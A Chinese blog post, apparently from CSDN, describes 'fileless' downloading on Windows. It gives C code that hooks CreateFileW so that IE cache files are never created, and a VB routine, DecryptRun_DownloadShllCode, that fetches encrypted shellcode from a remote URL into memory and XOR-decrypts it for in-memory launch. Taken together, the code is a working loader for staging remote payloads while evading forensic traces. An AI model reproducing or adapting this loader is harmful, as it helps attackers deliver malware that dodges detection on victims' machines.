真正实现网络下载,文件不落地.解决XmlHttp对象、winnet.dll、URLDownloadToFile生成的ie缓存(Hook_CreateFileW阻止缓存生成)

最近遇到的一个需求是,要求从网络上下载数据,并且文件不落地,那就是需要把缓存处理下,阻止缓存生成。无论我们用XmlHttp对象、还是inter网络通信控件、下载文件的API函数URLDownloadToFile都是会自动生成缓存文件。

Hook_CreateFileW阻止缓存生成

//HOOK CreateFileW
HANDLE  WINAPI TimedCreateFileW(LPCWSTR lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile)
{
//C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary 
//Internet Files\Content.IE5\78B59JOE\tem[1].txt

HANDLE ret=NULL ;

   if   (wcsstr(lpFileName,L"Temporary"))
   {
	    		 OutputDebugStringW(lpFileName);
                 wprintf(lpFileName,"%ws",L"");
	          return ret;
   }

ret =  TrueCreateFileW(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
  return ret;
}

 以上钩子HOOK ,主要是为了解决下面的 XmlHttp对象所产生的缓存问题,这个对象底层实际上 是由winnet.dll这个模块实现,网上也有其他的方法来清除缓存,但是由于实际需求,要求阻止缓存生成,而不是缓存生成后再清楚,最终通过OD逆向调试发现他底层是由 CreateFileW函数来创建缓存文件,所以我们只要HOOK这个函数进行一个过滤即可。比如过滤掉下面这个缓存路径C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\78B59JOE\tem[1].txt

以上这个路径就是 XmlHttp对象所产生的,无论是用其他的下载方式还是别的下载方式,其实都是有缓存的。但是微软只给予了删除缓存的API函数,并没有阻止缓存生成的功能,而这里我们要求更高一点,不是删除缓存,而是直接阻止缓存生成。

下面是VB操作 XmlHttp对象来下载文件,下载的数据保存到了一个内存数组上B。文件是不落地的。配合以上 API hook 钩子 就可以完美阻止缓存生成,真正实现文件不落地了。



'在内存中 解密启动 下载的shellcode,文件不落地
Private Sub DecryptRun_DownloadShllCode(ByVal nUrl As String)
    On Error GoTo M:
     Dim XmlHttp, b() As Byte
     Set XmlHttp = CreateObject("Microsoft.XMLHTTP")

     XmlHttp.Open "GET", nUrl, False
     XmlHttp.SetRequestHeader "If-Modified-Since", "Thu, 01 Jan 1970 00:00:00 GMT"

      ' XmlHttp.SetRequestHeader "Cache-Control", "no-cache" '      '"Cache-Control","no-cache"

     XmlHttp.Send
     If XmlHttp.ReadyState = 4 Then
         b() = XmlHttp.ResponseBody  '下载加密的shelcode文件以二进制字节模式保存到数组B()
'         Open nFile For Binary As #1
'         Put #1, , B()
'         Close #1
     End If
     
    Dim slen As Long
    slen = UBound(b()) '获取数组长度,即 shellcode的长度

    Dim i As Long
    For i = 0 To slen
       b(i) = b(i) Xor &H21 '解密
    Next i

      '其他业务代码,暂时忽略
     
     
     Set XmlHttp = Nothing
M:
End Sub
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

侠客软件开发

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值